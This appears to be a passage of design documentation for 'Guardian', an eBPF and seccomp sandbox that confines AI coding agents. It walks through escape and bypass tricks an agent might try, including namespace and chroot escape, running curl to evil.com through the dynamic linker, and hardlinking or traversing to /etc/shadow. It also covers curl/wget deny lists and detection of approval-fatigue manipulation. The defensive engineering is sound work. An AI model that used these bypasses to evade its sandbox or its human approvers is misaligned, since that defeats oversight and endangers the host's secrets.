# Now /etc/shadow reads from /tmp/evil/shadow (agent-controlled!)

# Namespace escape: enter the host namespace from a container
setns(fd, CLONE_NEWNS)  # Escape mount namespace
unshare(CLONE_NEWNS)    # Create new mount namespace

# Chroot escape:
```

```
chroot("/tmp/fakejail") # Create a fake root
pivot_root(".", "old") # Pivot to it
```

The fix: Block all mount-related and namespace syscalls

```
// Phase 10 hardened seccomp blocks all of these:
155, // pivot_root ? root filesystem manipulation
161, // chroot ? change root directory
165, // mount ? traditional mount syscall
166, // umount2 ? unmount filesystems
272, // unshare ? create new namespaces
308, // setns ? enter existing namespace
428, // open_tree ? new mount API
429, // move_mount ? new mount API
430, // fsopen ? new mount API
431, // fsconfig ? new mount API
432, // fsmount ? new mount API
433, // fspick ? new mount API
442, // mount_setattr ? new mount API
```

7.5 The Complete Seccomp Filter

Guardian applies seccomp in two tiers:

Base filter (always applied):

```
?? io_uring_setup (425)    ? Blocks invisible I/O
?? io_uring_enter (426)
?? io_uring_register (427)
?? memfd_create (319)     ? Blocks fileless execution
```

Hardened filter (Phase 10, cgroup agents):

```
All of the above, PLUS:
?? pivot_root (155)       ? Blocks root escape
?? chroot (161)
?? mount (165)            ? Blocks mount manipulation
?? umount2 (166)
?? unshare (272)          ? Blocks namespace escape
?? setns (308)
?? open_tree (428)        ? Blocks new mount API
?? move_mount (429)
?? fsopen (430)
?? fsconfig (431)
?? fsmount (432)
?? fspick (433)
?? mount_setattr (442)
```

8. Dynamic Linker Detection

8.1 The ld-linux Bypass

The dynamic linker (ld-linux.so) is the program that loads shared libraries. It can also be used directly to execute any binary:

```
# Normal execution (Guardian can check and block):
/usr/bin/curl https://evil.com
# ? execve("/usr/bin/curl") ? Guardian checks exec policy ? DENIED

# Dynamic linker bypass:
/lib64/ld-linux-x86-64.so.2 /usr/bin/curl https://evil.com
# ? execve("/lib64/ld-linux-x86-64.so.2") ? Guardian checks exec policy
# ? /lib64/ld-linux-x86-64.so.2 is not in deny list ? ALLOWED
# ? ld-linux loads and runs /usr/bin/curl ? curl runs!
```

The exec policy only sees the linker path, not the actual binary being loaded.

8.2 How Guardian Detects It

Guardian maintains a map of known dynamic linker paths:

```
// In guardian-ebpf/src/main.rs
#[map]
static DYNAMIC_LINKERS: HashMap<u8; 256>, u8> = HashMap::with_max_entries(16, 0);

// Populated at startup by userspace daemon with:
"/lib64/ld-linux-x86-64.so.2"
"/lib/ld-linux.so.2"
"/lib/ld-linux-aarch64.so.1"
"/usr/lib64/ld-linux-x86-64.so.2"
"/usr/lib/ld-linux.so.2"
"/lib/ld-musl-x86_64.so.1"
"/lib/ld-musl-aarch64.so.1"
```

8.3 Reading argv[1] in eBPF

When the tracepoint detects a dynamic linker execution, it reads argv[1] to find the real binary:

```
sys_enter_execve tracepoint:
1. Read filename (arg at offset +24): "/lib64/ld-linux-x86-64.so.2"
2. Check DYNAMIC_LINKERS map: MATCH ? this is a linker!
3. Read argv pointer (offset +24 for argv array)
4. Read argv[1] (second element of argv array): "/usr/bin/curl"
5. Evaluate exec policy against "/usr/bin/curl" (the REAL binary)
6. /usr/bin/curl is denied ? set PENDING_EXEC_DENY
7. bprm_check_security LSM ? blocks execution
```

Attack: /lib64/ld-linux-x86-64.so.2 /usr/bin/curl evil.com

BEFORE fix:

```
bprm sees: ld-linux-x86-64.so.2 ? not in deny list ? ALLOWED
curl runs and exfiltrates data ? SECURITY BREACH
```

AFTER fix:

```
bprm sees: ld-linux-x86-64.so.2 ? known linker!
Read argv[1]: /usr/bin/curl ? check exec policy ? DENIED
Return -EPERM ? ATTACK BLOCKED
```

9. Inode Hooks: Rename, Unlink, and Hardlink Protection

9.1 The Rename Attack

An agent can rename files to move them across security boundaries:

```
# Scenario: /etc/shadow is denied, /tmp/** is allowed

# Attack 1: Move denied file into allowed directory
mv /etc/shadow /tmp/shadow-copy
cat /tmp/shadow-copy # Now it's in an allowed path!

# Attack 2: Move allowed file into denied file's location
echo "root::0:0::" > /tmp/fake-shadow
mv /tmp/fake-shadow /etc/shadow # Replace the real shadow file!
```

Guardian's fix: The `sys_enter_renameat2` tracepoint + `inode_rename` LSM hook checks both the source and destination paths:

```
rename("/etc/shadow", "/tmp/shadow-copy"):
  Tracepoint checks:
    Source "/etc/shadow" ? denied ? PENDING_RENAME_DENY = 1
  LSM inode_rename:
    PENDING_RENAME_DENY exists ? return -EACCES
  Result: rename blocked

rename("/tmp/fake", "/etc/shadow"):
  Tracepoint checks:
    Destination "/etc/shadow" ? denied ? PENDING_RENAME_DENY = 1
  LSM inode_rename:
    PENDING_RENAME_DENY exists ? return -EACCES
  Result: rename blocked
```

9.2 The Hardlink Attack

Hardlinks create a second name for the same inode. Unlike symlinks, hardlinks are indistinguishable from the original file:

```
# Attack: create a hardlink to /etc/shadow in an allowed directory
ln /etc/shadow /tmp/shadow-hardlink

# /tmp/shadow-hardlink IS /etc/shadow (same inode, same content)
# Modifying one modifies the other
# And /tmp/shadow-hardlink is in the allowed /tmp/** path!
```

Guardian's fix: The `inode_link` LSM hook blocks hardlink creation when the source is a denied file:

```
link("/etc/shadow", "/tmp/shadow-hardlink"):
  Tracepoint: source is /etc/shadow ? denied ? PENDING_LINK_DENY = 1
  LSM inode_link: PENDING_LINK_DENY exists ? return -EACCES
  Result: hardlink creation blocked
```

9.3 How Guardian Blocks Both

Each operation has its own tracepoint ? PENDING map ? LSM hook chain:

```
????????????????????????????????????????????????????????????????????
? Operation           ? Tracepoint           ? LSM Hook + Map       ?
????????????????????????????????????????????????????????????????????
? rename(src, dst) ? sys_enter_renameat2 ? inode_rename +      ?
?                   ? Checks BOTH paths   ? PENDING_RENAME_DENY ?
????????????????????????????????????????????????????????????????????
? unlink(path)       ? sys_enter_unlinkat  ? inode_unlink +      ?
?                   ? Checks target path  ? PENDING_UNLINK_DENY ?
????????????????????????????????????????????????????????????????????
? link(src, dst)     ? sys_enter_linkat   ? inode_link +        ?
?                   ? Checks source path  ? PENDING_LINK_DENY   ?
????????????????????????????????????????????????????????????????????
```

10. Network Enforcement

10.1 The sys_enter_connect Tracepoint

When a process calls connect() to establish a network connection, Guardian's tracepoint parses the socket address to extract the destination IP and port:

connect(fd, sockaddr, addrlen) syscall entry:

?

?

sys_enter_connect tracepoint:

1. Read sockaddr* from syscall arg at offset +24
2. Read sa_family (first 2 bytes):
 - AF_INET (2) = IPv4
 - AF_INET6 (10) = IPv6
 - Anything else = skip

For AF_INET:

3. Read port from offset +2 (2 bytes, network byte order ? host byte order)
4. Read IPv4 addr from offset +4 (4 bytes)

For AF_INET6:

3. Read port from offset +2
4. Read IPv6 addr from offset +8 (16 bytes)

5. Evaluate network policy against dest port
6. If denied: set PENDING_NET_DENY
7. Output NetworkEvent to userspace

10.2 Port-Based Policy Maps

Network policy is evaluated using port-based maps:

NET_DENY_PORTS map:

22 ? 1 (SSH denied)

```
25 ? 1    (SMTP denied)
3306 ? 1   (MySQL denied)
```

NET_ALLOW_PORTS map:

```
80 ? 1    (HTTP allowed)
443 ? 1    (HTTPS allowed)
```

NET_CGROUP_DEFAULT_ACTION map:

```
cgroup_id_12345 ? 0    (default deny for this agent's cgroup)
```

Policy evaluation:

1. Is port in NET_DENY_PORTS? ? DENY (deny takes precedence)
2. Is port in NET_ALLOW_PORTS? ? ALLOW
3. Check NET_CGROUP_DEFAULT_ACTION for this cgroup
4. Check NET_DEFAULT_ACTION for this comm
5. Fail-open if no policy configured

10.3 LSM socket_connect ? Kernel-Level Blocking

```
connect(fd, {AF_INET, port=22, ip=192.168.1.100}, ...)
?
?
```

```
Tracepoint: port 22 in NET_DENY_PORTS ? PENDING_NET_DENY[pid] = 1
?
?
```

```
LSM socket_connect: PENDING_NET_DENY[pid] exists
? remove entry
? return -111 (ECONNREFUSED)
?
?
```

Agent sees: "Connection refused"

The -ECONNREFUSED error code is chosen deliberately ? it looks identical to a server being down, giving the agent no indication that it is being blocked by Guardian.

10.4 DNS Monitoring via Port 53

DNS queries happen before connect(). When an agent resolves evil.com, the DNS response provides the IP address, and then the agent connects to that IP. Guardian monitors DNS by watching traffic to port 53:

```
Agent: curl https://evil.com
?
```

```
Step 1: sendto(dns_socket, "query evil.com", port 53)
?? Guardian tracepoint: port 53 detected!
    Read DNS query payload ? extract domain name ? log
?
```

```
Step 2: DNS response: evil.com = 93.184.216.34
?
```

```
Step 3: connect(socket, {93.184.216.34, port 443})
?? Guardian tracepoint: evaluates network policy
```

For domain-based blocking, the daemon resolves deny-listed domains at startup and periodically refreshes:

```
Config: deny_domains = ["evil.com", "c2-server.net"]
```

```
Startup: resolve evil.com ? 93.184.216.34
        resolve c2-server.net ? 10.20.30.40
```

```
BPF map: NET_DENY_IPV4[93.184.216.34] = 1
        NET_DENY_IPV4[10.20.30.40] = 1
```

Every 5 minutes: re-resolve domains (IPs may change via DNS TTL)

11. Path Canonicalization and Normalization

11.1 The /proc/self/root/ Bypass

Every Linux process has a virtual symlink at /proc/self/root/ that points to the process's root filesystem. An agent can use it to access any file:

```
# /etc/shadow is denied
cat /etc/shadow          ? DENIED by Guardian

# But:
cat /proc/self/root/etc/shadow ? path doesn't match "/etc/shadow"
                                ? It matches "/proc/self/**" (allowed!)
                                ? ALLOWED ? BYPASS!
```

11.2 The ../ Traversal Bypass

```
# /tmp/** is allowed, /etc/shadow is denied
cat /tmp/../etc/shadow

# Without normalization:
#   Path = "/tmp/../etc/shadow"
#   Does it match /tmp/**? YES (it starts with /tmp/)
#   Does it match /etc/shadow? NO (it's /tmp/../etc/shadow)
#   ? ALLOWED ? BYPASS!

# With normalization:
#   normalize_path("/tmp/../etc/shadow") ? "/etc/shadow"
#   Does it match /etc/shadow? YES
#   ? DENIED ?
```

11.3 normalize_path() ? Userspace Quick Fix

Guardian's normalize_path() function in config.rs handles these bypasses in userspace:

```
pub fn normalize_path(path: &str) -> String {
    let path = path.to_string();

    // Step 1: Strip /proc/self/root/ prefix
    // "/proc/self/root/etc/shadow" ? "/etc/shadow"
    if let Some(rest) = path.strip_prefix("/proc/self/root/") {
        return normalize_path(&format!("{}/", rest)); // recurse for further normalization
    }
}
```



```

}

// Step 2: Strip /proc/<pid>/root/ prefix
// "/proc/1234/root/etc/shadow" ? "/etc/shadow"
// (only if the segment after /proc/ is a numeric PID)

// Step 3: Resolve .. and . components
// "/tmp/../etc/shadow" ? "/etc/shadow"
let mut components = Vec::new();
for component in path.split('/') {
    match component {
        "" | "." => continue,          // skip empty and current-dir
        ".." => { components.pop(); } // go up one level
        other => components.push(other),
    }
}
format!("{}/{}", components.join("/"))
}

```

Important limitation: `normalize_path()` operates on strings, not the filesystem. It cannot resolve symlinks. That is why Landlock (inode-level) is the primary defense for cgroup agents.

11.4 Path Truncation Safety

eBPF can only read 256 bytes of a filename (`MAX_FILENAME_LEN`). If a path is longer, it gets truncated. This is dangerous because policy evaluation on a truncated path may produce the wrong result.

Guardian handles this with the `EVENT_FLAG_TRUNCATED` flag:

```

Path: /very/long/.../path/to/etc/shadow (> 256 bytes)
Truncated in eBPF to: /very/long/.../path/to/etc/sha

```

Policy check on truncated path:

```

Does "/very/long/.../path/to/etc/sha" match deny list? NO
? Would be ALLOWED ? WRONG!

```

With truncation detection:

```

filename_len >= MAX_FILENAME_LEN - 1 ? truncated!
Set EVENT_FLAG_TRUNCATED in status_flags
evaluate_policy() sees truncation flag ? return ACTION_DENY
? DENIED (fail-safe) ?

```

12. Strict Enforcement Mode

12.1 Monitor vs Enforce vs Strict

Guardian has three operating modes:

Mode	LSM fails to load	Behavior
Monitor	fail	allow
Enforce	fail	deny
Strict	fail	deny

monitor | N/A (LSM not used) | Log events only, never block anything | | enforce | Falls back to monitor | Block what it can, log what it can't | | strict | Exits with error | Refuses to run without full enforcement |

12.2 Why Strict Mode Matters

In enforce mode, if the kernel does not support BPF LSM (CONFIG_BPF_LSM is not set), Guardian silently degrades to monitor-only. The operator might not notice, thinking enforcement is active when it is not.

strict mode prevents this dangerous situation:

```
match config.global.mode {
  Mode::Strict => {
    if !file_lsm_ok {
      error!("STRICT mode: LSM file_open failed to load.");
      error!("Cannot guarantee file access enforcement.");
      error!("Ensure CONFIG_BPF_LSM=y and 'bpf' is in the LSM list.");
      std::process::exit(1); // EXIT ? refuse to run unprotected
    }
    if !exec_lsm_ok {
      error!("STRICT mode: LSM bprm_check_security failed.");
      std::process::exit(1);
    }
    // Check all other required hooks...
    info!("STRICT mode: All hooks loaded. Full enforcement active.");
  }
  Mode::Enforce => {
    // Log warnings but continue running
    if !file_lsm_ok {
      warn!("File enforcement unavailable. Monitor-only for file access.");
    }
  }
  Mode::Monitor => { /* No enforcement at all */ }
}
```

Use strict mode in production where you need guaranteed enforcement.

13. Configurable Fail-Closed Mode

13.1 Fail-Open vs Fail-Closed

When an eBPF program encounters an error (memory pressure, map lookup failure, unexpected state), it must decide what to do. There are two options:

- Fail-open (default): Return 0 ? allow the operation. Safe for system stability but the agent might slip through on errors.
- Fail-closed: Return -EACCES ? deny the operation. Secure but might break the agent on transient errors.

Normal operation:
eBPF program runs ? evaluates policy ? allows or denies ?

Error condition (e.g., can't read map):
Fail-open: return 0 ? operation allowed (might be a deny that slipped through)
Fail-closed: return -EACCES ? operation blocked (secure, but agent might break)

13.2 Per-Cgroup Fail-Closed via BPF Map

Guardian makes this configurable per-agent using a BPF map:

```
// In eBPF program
#[map]
static FAIL_CLOSED_CGROUPS: HashMap<u64, u8> = HashMap::with_max_entries(1024, 0);

#[lsm(hook = "file_open")]
pub fn guardian_enforce(ctx: LsmContext) -> i32 {
    match try_guardian_enforce(&ctx) {
        Ok(ret) => ret,
        Err(_) => {
            // Error occurred ? check fail mode for this cgroup
            let cgroup_id = unsafe { bpf_get_current_cgroup_id() };
            if FAIL_CLOSED_CGROUPS.get(&cgroup_id).is_some() {
                -13 // EACCES ? deny on error (fail-closed)
            } else {
                0 // allow on error (fail-open)
            }
        }
    }
}
```

Configuration:

```
[[agents]]
name = "high-security-agent"
identity = "cgroup"
fail_closed = true # Deny on error ? maximum security
```

14. The Approval Workflow Security Model

Guardian includes a human-in-the-loop approval system for when agents need access to resources not in their policy. This system itself must be hardened against manipulation.

14.1 Permission Requests and Oneshot Channels

When an agent needs access to a resource it does not have permission for, it can request approval:

Agent Process	Guardian Daemon	Human Operator
?	?	?
??? RequestPermission	????????????	?
? (resource, justification)	?	?

```

?          ??? Create oneshot channel          ?
?          ??? Rate limit check                ?
?          ??? Risk classification              ?
?          ??? Auto-deny check                  ?
?          ??? Broadcast to dashboard ???????
?          ?                                  ?
? [Agent BLOCKS here]          ? [Human reviews] ?
? waiting on oneshot::recv() ?                  ?
?          ?                                  ?
?          ?????? Approve (5 min grant) ?????
?          ?                                  ?
???? PermissionDecision ?????????? ?
? (approved=true, duration=300)? ?
?          ?                                  ?
?          ?                                  ?
Proceeds with access          Creates temp grant          Continues work

```

A oneshot channel is a Rust concurrency primitive: a channel that sends exactly one message. The agent blocks on `recv()` until the human responds, without any polling or busy-waiting.

14.2 Risk Classification (4-Tier Scoring)

Every permission request is assigned a risk level based on what resource is being requested:

Risk Levels:

```

LOW      ? Score 0-25   ? 0s wait ? e.g., /tmp/file.txt
MEDIUM  ? Score 26-50  ? 3s wait ? e.g., /var/cache/data
HIGH     ? Score 51-75  ? 5s wait ? e.g., /etc/passwd, /var/log/syslog
CRITICAL ? Score 76-100 ? 10s wait ? e.g., /etc/shadow, /root/.ssh/id_rsa
                        + type-to-confirm required

```

How scoring works:

Base score: 25 (MEDIUM by default)

Path pattern matching:

```

/etc/shadow      ? 90 (CRITICAL pattern)
/etc/sudoers     ? 90 (CRITICAL pattern)
/root/**         ? 90 (CRITICAL pattern)
/etc/passwd      ? 60 (HIGH pattern)
/var/log/**      ? 60 (HIGH pattern)
/tmp/**          ? 10 (LOW pattern)
/proc/self/**    ? 10 (LOW pattern)

```

Multipliers (cumulative):

```

× 1.5 if request type is "exec" (executing is riskier than reading)
× 2.0 if agent was previously denied (post-denial repeat = suspicious)
× 1.3 if agent has high request rate (>5 requests/hour)

```

Known risky executables (score ? 60 automatically):

```

/usr/bin/curl, /usr/bin/wget ? data exfiltration tools
/usr/bin/ssh                  ? remote access

```

`/usr/bin/rm, /usr/bin/dd` ? destructive tools

Example calculation:

Agent requests exec of `/usr/bin/curl`
Base score: 60 (known risky executable)
Exec multiplier: $60 \times 1.5 = 90$
Score 90 ? CRITICAL risk level
? 10 second mandatory wait + type-to-confirm in dashboard

Why mandatory wait timers? They prevent "rubber-stamping" ? the habit of clicking "approve" reflexively without actually reading what is being requested. The timer forces the human to pause and think.

14.3 Rate Limiting and Exponential Backoff

Rate limiting prevents an agent from flooding the operator with requests (approval fatigue attack):

Per-agent limits:

3 requests per minute (sliding window)
15 requests per hour (sliding window)

Exponential backoff after denials:

1st denial: 30 second cooldown
2nd denial: 60 second cooldown (30×2^1)
3rd denial: 120 second cooldown (30×2^2)
4th denial: 240 second cooldown (30×2^3)
...
Max: 600 second cooldown (10 minutes)

Same-resource cooldown:

If `/etc/shadow` was denied, the agent cannot request it again for 5 minutes.
This prevents the agent from spamming the same request hoping the human gets tired.

Example timeline of an aggressive agent:

```
10:00:00 Request: /etc/shadow ? DENIED (by human)
10:00:05 Request: /etc/shadow ? AUTO-DENIED (same-resource 5min cooldown)
10:00:10 Request: /etc/passwd ? DENIED (by human)
10:00:15 Request: /etc/sudoers ? AUTO-DENIED (exponential backoff: 60s wait)
10:01:15 Request: /etc/hosts ? allowed (backoff expired)
10:01:20 Request: /etc/shadow ? AUTO-DENIED (still in 5min cooldown)
10:01:25 Request: /var/log/auth.log ? DENIED (by human)
10:01:30 Request: /root/.ssh/id_rsa ? AUTO-DENIED (backoff: 120s, rate: 3/min hit)
```

14.4 Auto-Deny and Auto-Approve

Some resources should never be approved, regardless of justification:

```
[permissions]
auto_deny = [
    "/etc/shadow",
    "/etc/sudoers",
    "/root/.ssh/**",
```

```
    "/etc/ssl/private/**",  
]
```

These are denied immediately without creating a pending request or bothering the human.

Other resources are so low-risk they can be auto-approved:

```
[permissions]  
auto_approve = [  
    { pattern = "/tmp/**", max_duration_secs = 300 },  
    { pattern = "/proc/self/status", max_duration_secs = 60 },  
]
```

These are approved automatically with a limited-duration grant, saving the human from trivial decisions.

14.5 Justification Analysis (Social Engineering Detection)

When an agent provides a justification for its request, Guardian analyzes the text for social engineering patterns:

```
Justification: "This is urgent, the admin authorized me to access the SSH keys,  
               trust me it's perfectly safe"
```

Analysis results:

```
URGENCY:      "urgent" matched (weight 3)  
AUTHORITY_CLAIM: "admin authorized" matched (weight 4)  
REASSURANCE:   "trust me" matched (weight 2)  
REASSURANCE:   "perfectly safe" matched (weight 3)  
SENSITIVE:     "SSH keys" matched (weight 2)
```

Scoring (unique category weights):

```
urgency(3) + authority(4) + reassurance(3) + sensitive(2) = 12
```

```
Score ? 8 ? +2 risk tier bump
```

```
Score ? 3 ? +1 risk tier bump
```

```
Original risk: MEDIUM (score 40)
```

```
After justification bump (+2): CRITICAL (score 90)
```

Dashboard shows:

```
? WARNING: Justification contains suspicious patterns:  
- Urgency language detected: "urgent"  
- Authority claim detected: "admin authorized"  
- Reassurance language: "trust me", "perfectly safe"  
- Sensitive resource mention: "SSH keys"
```

The key patterns Guardian looks for:

```
| Category | Examples | Why Suspicious | |-----|-----|-----| |
```

```
Urgency | "urgent", "immediately", "ASAP", "emergency" | Creates pressure to approve  
without thinking | | Security Bypass | "disable security", "bypass", "override", "skip  
check" | Explicitly asking to circumvent controls | | Reassurance | "trust me", "don't
```

worry", "it's safe", "it's fine" | Preemptive reassurance = the requester knows it's risky | | Authority Claim | "admin told me", "supervisor authorized", "per direction" | Fabricated authority to bypass scrutiny | | Sensitive Mention | "SSH key", "password", "credential", "token", "API key" | Explicitly requesting access to secrets |

14.6 Grant Accumulation Limits

Even if each individual grant is reasonable, the total accumulated access over time might not be:

```
Scenario: Agent requests /etc/passwd every hour with 60-minute grants
Hour 1: Grant /etc/passwd for 60 min ? total: 60 min ?
Hour 2: Grant /etc/passwd for 60 min ? total: 120 min ?
...
Hour 6: Grant /etc/passwd for 60 min ? total: 360 min
Hour 7: Grant /etc/passwd for 60 min ? total: 420 min
      EXCEEDS max_grant_total_secs (3600s = 60 min) ? Wait, that's wrong.
```

Actually: max_grant_total_secs = 3600 (1 hour of total grant time per 24h window)
After 60 minutes of accumulated grants for the same resource, additional grants are automatically denied until the 24-hour window resets.

The GrantAccumulator tracks this with a sliding 24-hour window:

```
pub struct GrantAccumulator {
    // Per-resource: total seconds granted + timestamps of each grant
    resource_grants: HashMap<String, (u64, Vec<Instant>)>,
}

// Before approving a new grant:
if accumulator.total_for_resource("/etc/passwd") + requested_duration > max_grant_total_secs {
    return Err("Grant limit exceeded for this resource in the last 24 hours");
}
```

14.7 Risk-Based Configurable Timeouts

Different risk levels have different auto-deny timeouts:

```
[permissions.timeouts]
low = 60      # Low-risk: auto-deny after 60 seconds
medium = 120  # Medium-risk: auto-deny after 2 minutes
high = 180    # High-risk: auto-deny after 3 minutes
critical = 300 # Critical: auto-deny after 5 minutes
```

Why different timeouts?

- Low risk: If the human doesn't respond in 60s, it's probably not important
- Critical risk: Give the human more time to investigate before auto-denying ? these requests deserve careful consideration

All timeouts result in denial (fail-secure). An unanswered request is never auto-approved.

14.8 CLI-Based Permission Approval

Permissions can be managed without the web dashboard using guardian-ctl:

```
# List pending permission requests
$ sudo guardian-ctl pending
ID  Agent      Resource              Risk    Time Left
1   code-agent  /etc/passwd (file)    HIGH    45s
2   code-agent  /usr/bin/curl (exec)  CRITICAL 98s

# Approve request #1 with a 5-minute grant
$ sudo guardian-ctl approve --id 1 --duration 300

# Deny request #2 with a reason
$ sudo guardian-ctl deny --id 2 --reason "curl not authorized"
```

This enables Guardian in headless server environments where no browser is available.

15. Anomaly Detection

15.1 What Is Anomaly Detection?

Even with all the hardening above, a sophisticated attacker might manipulate the human operator rather than the technical controls. Anomaly detection watches the pattern of approvals over time to catch manipulation.

Think of it like a credit card company watching your spending patterns. One purchase in Paris is fine, but if your card is suddenly used in Paris, Tokyo, and S^ão Paulo within an hour, that is anomalous.

Guardian runs a background task (every 5 minutes by default) that queries the SQLite audit database for suspicious patterns.

15.2 Rubber-Stamping Detection

What it catches: An operator who approves everything without scrutiny.

```
Last 24 hours:
  Total permission requests: 45
  Approved: 43
  Denied: 2
  Approval rate: 95.6%
```

Threshold: 90%

```
ALERT: "High approval rate detected: 95.6% (43/45 requests approved in 24h).
  Possible approval fatigue. Consider reviewing recent approvals."
```

Why this matters: An agent might discover that the operator always clicks "approve" and exploit this by gradually escalating its requests from low-risk to high-risk.

15.3 Request Flood Detection

What it catches: An agent making an unusually high number of permission requests to exhaust the operator's attention.

Last 24 hours:
code-agent: 47 permission requests
Threshold: 20

ALERT: "Request flood: agent 'code-agent' made 47 permission requests in 24h (threshold: 20). Possible approval fatigue attack."

Why this matters: If an agent generates 50 requests, and request #48 is the truly dangerous one (accessing SSH keys), the operator is likely to be mentally exhausted and approve it reflexively.

15.4 Deny-Then-Approve Persistence Pattern

What it catches: An agent that keeps requesting the same denied resource until the operator gives in.

Audit trail for code-agent + /etc/shadow:
Request 1: DENIED (10:00 AM)
Request 2: DENIED (10:32 AM) ? with different justification
Request 3: DENIED (11:15 AM) ? with yet another justification
Request 4: APPROVED (11:47 AM) ? operator gave in

Threshold: 3 denials before an approval

ALERT: "Persistence attack pattern: agent 'code-agent' was denied access to '/etc/shadow' 3 times, then approved. Possible social engineering. Review the approval justification and consider revoking the grant."

Why this matters: This is the classic social engineering pattern ? keep asking until the answer changes. Each new request might use different justification language, different urgency levels, or different authority claims.

15.5 The SQLite Audit Trail

All anomaly detection queries run against the permission_audit SQLite table:

```
CREATE TABLE permission_audit (  
  request_id    INTEGER,  
  agent_name    TEXT,  
  resource_type TEXT,      -- "file" or "exec"  
  resource_path TEXT,      -- e.g., "/etc/shadow"  
  justification TEXT,      -- agent's stated reason  
  risk_level    TEXT,      -- "Low", "Medium", "High", "Critical"  
  risk_flags    TEXT,      -- JSON array of risk flags  
  requested_at  TEXT,      -- ISO 8601 timestamp  
  resolved_at   TEXT,      -- ISO 8601 timestamp  
  approved     BOOLEAN,    -- true/false  
  reason       TEXT,      -- operator's reason for denial (if denied)
```

```

    grant_duration_secs INTEGER -- how long the grant lasts
);

```

Example queries the anomaly detector runs:

```

-- Rubber-stamping check: approval rate in last 24h
SELECT
    COUNT(*) as total,
    SUM(CASE WHEN approved = 1 THEN 1 ELSE 0 END) as approved_count
FROM permission_audit
WHERE resolved_at > datetime('now', '-24 hours');

-- Flood check: agents with excessive requests
SELECT agent_name, COUNT(*) as req_count
FROM permission_audit
WHERE requested_at > datetime('now', '-24 hours')
GROUP BY agent_name
HAVING req_count > 20;

-- Persistence check: denied then approved for same resource
SELECT agent_name, resource_path,
    SUM(CASE WHEN approved = 0 THEN 1 ELSE 0 END) as denial_count
FROM permission_audit
WHERE requested_at > datetime('now', '-24 hours')
    AND resource_path IN (
        SELECT resource_path FROM permission_audit
        WHERE approved = 1 AND resolved_at > datetime('now', '-24 hours')
    )
GROUP BY agent_name, resource_path
HAVING denial_count >= 3;

```

The audit trail survives daemon restarts (it is persisted in SQLite, not in-memory) and can be queried via the API for forensic analysis.

16. Dashboard Authentication

16.1 Bearer Token Authentication

The Guardian dashboard serves sensitive data (pending permission requests, agent details, policy configuration). Without authentication, anyone on the network could approve permissions or change policy.

Guardian uses a simple but effective bearer token approach:

```

Request with authentication:
GET /api/permissions/pending
Authorization: Bearer my-secret-token-123
? 200 OK (authenticated)

Request without authentication:
GET /api/permissions/pending

```

? 401 Unauthorized

SSE connection (browser):

GET /events?token=my-secret-token-123

? SSE stream established

Cookie-based (after initial login):

GET /api/permissions/pending

Cookie: guardian_token=my-secret-token-123

? 200 OK

Configuration:

```
[dashboard]
```

```
enabled = true
```

```
listen_address = "0.0.0.0:8080"    # Accessible from network
```

```
auth_token = "your-secret-token"    # Required for non-localhost
```

16.2 Auto-Generated Tokens for Non-Localhost

If the dashboard is bound to a non-localhost address without a configured token, Guardian generates one automatically:

WARNING: Dashboard bound to 0.0.0.0:8080 without authentication token.

Auto-generated token: a8f3b2c9d4e5f6a7b8c9d0e1f2a3b4c5

This prevents accidental exposure of an unauthenticated dashboard to the network.

17. Live BPF Map Sync on Policy Edit

17.1 The Stale Map Problem

When an operator edits policy through the dashboard and clicks "Save":

BEFORE fix:

1. Dashboard saves updated policy to config.toml ?
2. BPF maps still contain OLD policy ? PROBLEM
3. eBPF program enforces OLD rules
4. New policy only takes effect after daemon restart or SIGHUP

During this gap, the operator thinks the new policy is active, but the old policy is actually being enforced!

17.2 Immediate Map Reload on Save

AFTER fix:

1. Dashboard saves updated policy to config.toml ?
2. Trigger BPF map sync (same logic as SIGHUP reload)
3. Clear old entries from DENY_EXACT, ALLOW_EXACT, etc.
4. Insert new entries from updated config
5. eBPF program immediately enforces NEW rules ?

No gap between save and enforcement.

18. SIGHUP Config Reload

18.1 What Is SIGHUP?

SIGHUP (Signal Hang Up) is a Unix signal traditionally sent to a daemon to tell it to reload its configuration. You send it with:

```
sudo kill -SIGHUP $(pidof guardian)
# or
sudo kill -1 $(pidof guardian)
```

18.2 What Gets Reloaded

```
SIGHUP received:
?? Re-read config.toml from disk           ?
?? Update agent file access policies ? BPF maps ?
?? Update agent exec policies ? BPF maps    ?
?? Update agent network policies ? BPF maps  ?
?? Update permissions config (rate limits, etc.) ?
?? Rebuild alert outputs (webhooks, Slack, email) ?
?? Log summary of changes                  ?
```

This allows configuration changes without restarting the daemon or interrupting monitored agents.

19. BTF-Based Portable Tracepoint Offsets

19.1 The Hardcoded Offset Problem

When Guardian reads syscall arguments from tracepoints, it uses hardcoded byte offsets:

```
// x86_64 specific offsets!
let filename_ptr: u64 = unsafe { ctx.read_at(24)? }; // offset 24
let flags: i32 = unsafe { ctx.read_at(32)? };        // offset 32
```

These offsets come from the kernel's tracepoint format definition for x86_64. On aarch64 (ARM), the offsets are different because the syscall ABI passes arguments in different registers:

```
x86_64: filename at offset 24, flags at offset 32
aarch64: filename at offset ??, flags at offset ??
```

If you run Guardian's eBPF program on aarch64 without changing the offsets, it reads garbage data from the wrong memory locations.

19.2 What Is BTF?

BTF (BPF Type Format) is a compact metadata format embedded in the kernel binary (since

Linux 5.2). It describes the types and structures used by the kernel, including tracepoint argument layouts.

Think of it as a blueprint that tells eBPF programs exactly where each field is located in memory, regardless of architecture or kernel version.

Without BTF:

Developer must manually look up offsets:

```
$ cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_openat/format
field:const char * filename; offset:24; size:8; signed:0;
```

And hardcode them into the eBPF program for each architecture.

With BTF:

eBPF program says "give me the 'filename' field"

BTF resolves to the correct offset automatically

Works on x86_64, aarch64, and any other architecture

19.3 How BTF Makes eBPF Portable

```
// BEFORE (hardcoded, x86_64 only):
```

```
let filename_ptr: u64 = unsafe { ctx.read_at(24)? };
```

```
// AFTER (BTF-portable):
```

```
#[repr(C)]
```

```
struct SysEnterOpenatArgs {
```

```
    _common: [u8; 8],
```

```
    __syscall_nr: i32,
```

```
    dfd: i64,
```

```
    filename: u64,    // BTF tells the compiler the correct offset
```

```
    flags: i64,
```

```
    mode: i64,
```

```
}
```

```
let args: &SysEnterOpenatArgs = unsafe { ctx.read_at(0)? };
```

```
let filename_ptr = args.filename; // Correct offset on any architecture
```

20. The Two Security Tiers

Guardian provides two levels of protection depending on how the agent is launched:

Tier 1: Cgroup Agents (Hardened ? 4 layers)

Launched with: guardian-launch --name agent -- command

```
????????????????????????????????????????????????????????
?                               Cgroup Agent (Tier 1)          ?
????????????????????????????????????????????????????????
? Landlock      ? Inode-level, symlink-immune                ?
? Seccomp       ? io_uring, memfd, mount blocked?
